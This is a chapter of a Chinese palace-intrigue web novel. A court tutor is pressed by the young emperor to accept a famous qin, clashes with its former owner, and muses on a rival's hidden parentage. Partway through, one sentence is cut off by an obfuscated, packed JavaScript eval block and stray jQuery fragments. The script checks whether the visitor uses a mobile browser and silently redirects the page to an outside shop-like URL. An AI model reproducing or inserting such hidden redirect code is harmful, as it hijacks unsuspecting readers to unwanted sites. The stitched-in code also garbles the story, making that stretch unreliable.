12.第 12 章

作品:《谁要做炮灰反派啊!

    面前的罗合裕立马一副洗耳恭听的姿态。


    简略的几道琴音流出,萧酌清的手还没有收回去,罗合裕就拊掌叹道:“好曲!”


    萧酌清顿了顿:“……罗公公,只是琴弦松了,下官在调。”


    罗合裕:“……”


    萧酌清垂眼,礼貌地没有观摩罗合裕尴尬的神色,抬手调整琴弦,简单几下,就将松动的琴弦调回正轨。


    透过花窗的日头落在琴上,古拙的名琴泛起醇厚的光泽,显得落在上面的那双手愈发修长莹透,仿佛玉骨的菩萨像。


    再扫过琴弦,松透的琴音让萧酌清的眉目都舒展开了。


    怡然悠远的曲调自然地从他指下流出。


    琴音在空旷的大殿中回荡,几息之间,连门口路过的宫人都停下脚步,好奇地朝殿内看来。


    身着宽袖公服的年轻司官端坐在案前,袍袖自清癯的腕骨前垂落,露出一双修长如竹的手。


    只几番简单的信手扫按,便有悦耳的琴声回荡。他弹得入神,霜雪般冷而淡漠的眉眼垂下,睫毛在面颊上落下阴影,日光斜照,显得他的身姿更像一座神像了。


    一段曲毕,他抬起眉眼,嘴角扬起的瞬间,天光乍破。


    “罗公公。”他说。“此为《秋宵步月》之二,《初离碧海》。”


    罗合裕一愣,也明白过来,萧酌清这是在照顾他的颜面,替他挽回方才露怯的尴尬局面。


    “酌清公子的琴艺果真名不虚传!”短暂的一顿,他立马眉开眼笑,连连赞叹。“连奴婢这般粗钝之人都能听出来,真是好琴,好曲!”


    萧酌清淡笑着收回手,抬头正要说话,却见高台上竟多出了一个人。


    不知所踪的凤元羲不知道什么时候出现了,遥遥立在御座前,逆着光,萧酌清看不清他的表情。


    ……此人不爱听琴,不会也举箭射他吧?


    萧酌清微微一顿。


    却在目光相触的瞬间,凤元羲转过身去,朝向东君,忙忙碌碌地似乎在给金雕喂食。


    看他这幅意兴寥寥的模样,萧酌清稍稍松了口气。


    没兴趣就好。否则自己带的人手不足,若真被钉上金柱,还没人能将他拔出来。


    门外的宫人们四散而逃,萧酌清起身向凤元羲行礼:“微臣参见陛下。”


    凤元羲的背影挡着,萧酌清没看见,立在架上的东君嫌恶地撇开头,避开了凤元羲塞在他嘴边的肉。


    早上才吃过一顿,刚睡着,这会儿又忽然又将它弄醒了硬塞,雕都要吐了。


    它紧闭着尖喙躲了好几下,将金架踩得哗哗作响。可凤元羲却不给它拒绝的机会,单手扼住它的脖颈,一块肉朝着它嘴里一按,回过身去。


    “平身。”


    东君被撑得眼珠鼓了鼓,想叫都没发出声音。


    ——


    仅仅教了一日,陛下就学会了让人平身,圣人之言真这么管用?


    萧酌清稍有不解。


    一日的授课顺利结束,他没提昨日布置的课业,只管接下去讲这一天的内容。


    只是课毕之后,他收拾书箱起身,还是习惯性地顺口说道:“今日所讲的三则文章,还请陛下抄写五遍,并将之背诵,臣会于明日课上抽查。”


    说完这话,萧酌清停下手上的动作。


    忘了,这位陛下是不会做作业的。


    不过也无妨。他布置他的,先不管陛下是否照做。


    但是待他收拾好书箱,正要离开,高台上的君王忽然发话了。


    “东西都带走。”


    萧酌清回头。拂雪已经将书箱拿上了,空荡荡的一张书案上,只有那把时修杰留在这里的春雷。


    萧酌清不解地抬头,御案前的君王翻着书,并没有在看他。


    “陛下,那把琴不是微臣的。”萧酌清向他解释。


    “拿走。”凤元羲重复了一遍。


    这……


    萧酌清的确喜欢此琴。


    但君子不夺人所爱,更何况这不是无主之物,摆在这里,只因为主家不在而已。


    站在旁边的罗合裕小声提醒:“萧大人,快谢恩啊!”


    萧酌清正踟蹰间,高台上的凤元羲翻了一页书,又开口了。


    “你不要,朕就砸了它。”


    前朝古物,天下名琴,岂能说砸就砸!


    萧酌清顾不得琢磨凤元羲什么时候这么爱看书了,听见这话,连忙上前两步,俯身抱起那张春雷。


    “臣……谢陛下赏赐。”


    挡在书册后的嘴角动了动,凤元羲又不说话了。


    萧酌清莫名得了件宝物,只觉头脑有些混沌。待他抱着琴走出曲台殿,踏进暖融融的日头时,还有些不真切感。


    怀里的春雷温厚古拙,衣袖擦过琴弦,抱着沉甸甸的。


    不远处,时修杰又带着一群人浩浩荡荡地来了。


    比起上回那副意气风发的模样,时修杰这次如临大敌,带着一队金吾卫,明显是用来防身的。


    他今天的打扮有些怪,虽也穿着官服,可乌纱帽却戴得尤其紧,在日头的照耀下,帽中偶尔有玉光闪烁,仿佛将发簪佩在了帽下。


    两人迎面遇见,时修杰的眼睛死死盯向他的怀中,满脸愤懑。


    而萧酌清也终于看清了时修杰乌纱帽下的“玉簪”。


    原来不是簪饰,而是头发被扯落之后,露出的一块块洁白的头皮。


    萧酌清抱歉地错开目光。


    “你拿的是什么?”时修杰紧盯着萧酌清,质问道。


    萧酌清身后的拂雪昂首挺胸,一句话答得抑扬顿挫。


    “这是御赐,名琴春雷,是陛下赏给我们家公子的!”


    赏?是他的东西吗他就赏!


    时修杰目眦欲裂,胸膛起伏,盯着萧酌清的眼神仿佛在看杀父仇人。


    说到底,君子不夺人所爱,不在于对方的品性是否低劣。


    在时修杰的怒视下,萧酌清横过琴身,将其双手托住。


    君子如玉,风度翩翩,时修杰看得来气,怒道:“不就是一把琴吗,给你就给你了,有什么了不起!我还不稀罕呢!”


    正要上前物归原主的萧酌清:“……”


    时修杰似乎还嫌自己放的话不够潇洒,重重一甩袖子,抬腿就走,擦身而过时,还狠狠撞了萧酌清一下。


    春雷的琴弦擦过萧酌清的衣袖,铮然一声,竟比那天时修杰弹奏的还悦耳些。


    时修杰:“……”


    他气得脸红脖子粗,大步而去。


    而拂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133928|195710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雪站在萧酌清旁边,憋笑的嘴角都要撇到下巴颏上了。


    “小的恭喜公子,恭喜春雷。”


    “你恭喜谁?”萧酌清以为自己听错了。


    “恭喜春雷呀!”拂雪笑嘻嘻地。


    “恭喜它终于得遇明主,不必受那蠢货的糟蹋!少爷没听见?刚才时大人过去时,春雷还在说,让他赶紧滚远些呢!”


    ——


    在大理寺数日,萧酌清也没能在卷宗里看到任何有用的内容。


    案卷送到他手里,但翻来翻去,都是几个月前的旧案。


    几个月前,江太傅还在朝中任职,送到大理寺的官员案卷大多是私德不修的状纸,打眼看去,不过是某官员宠妾灭妻,某官员狎妓纵酒,某官员前月上朝戴歪了帽子。


    唯一一桩大案,证据确凿,被参奏的官员供认不讳,眼下已经在流放岭南的路上了。


    萧酌清倒是不着急。


    他刚到大理寺,梁阔又是个人精,免不了要暗中监视他。


    萧酌清只当感觉不到,每日兢兢业业地整理卷宗、熟悉程式,偶尔在衙门里做些私活,也是给皇上备课。


    一本《尚书》有条不紊地讲给皇上听,凤元羲一如既往地不做功课,有时露面,有时不露面,萧酌清也慢慢习惯了。


    只是在曲台看见凤元羲时,他会想起王远对他的那些评价。


    要让凤元羲好转,究竟该怎么做?


    几天之后,照夜又带着王远的消息回来了。


    王远拿着那香囊,当真在王府找到了自己的生身父亲。


    照夜有些惊慌,萧酌清却毫不意外。毕竟王远的亲生父亲就在廉王府,无论情节如何更改,此事也无法改变。


    “也真是万幸,王远虽然去了王府,但是他父亲竟然不是廉王。”照夜松了口气,心有余悸地对萧酌清说。


    萧酌清微微点头。


    没错,王远的父亲并不是廉王。


    当年,廉王的确随着太宗去过江南。当时太宗尚宠爱他,赏赐不断,那匹葫芦纹的贡缎,也只是那些御赐里不起眼的一件罢了。


    贡缎搬运时划花了一个角,廉王妃不喜欢,随手赏给了随行的下人。


    王远的父亲王乾瑞,就是随行的家臣之一。


    他本是个屡试不第的穷举人,靠着活络的心思混成了廉王府里那些谋臣之一。


    但当时的廉王府正是群星闪耀之时,王乾瑞那愚钝的脑袋实在不够看,因此也一直不得重用,只是凭着一腔忠心,在廉王府中有个差事。


    所以直到如今,他也仍旧是廉王的一个家臣。


    随廉王下江南时,他曾眠花宿柳,在妓子的小船上大放厥词,留下了自己的荷包。


    那荷包,就是王远手里拿的那个。


    萧酌清曾通读全文,知道此书这样设计,不过是为了多些戏剧桥段而已。


    并非廉王之子,却入廉王府中居住,受重用、娶郡主,被廉王宠得比亲生世子还要珍重,这才叫做真正的“踏王侯”。


    只是写作本书的人大概没想到,这样的剧情,反倒得了萧酌清的利用。


    被廉王厌恶驱逐过的王远,还能像小说里那么一帆风顺吗?


    “讲下去。”萧酌清不动声色,对照夜点了点头。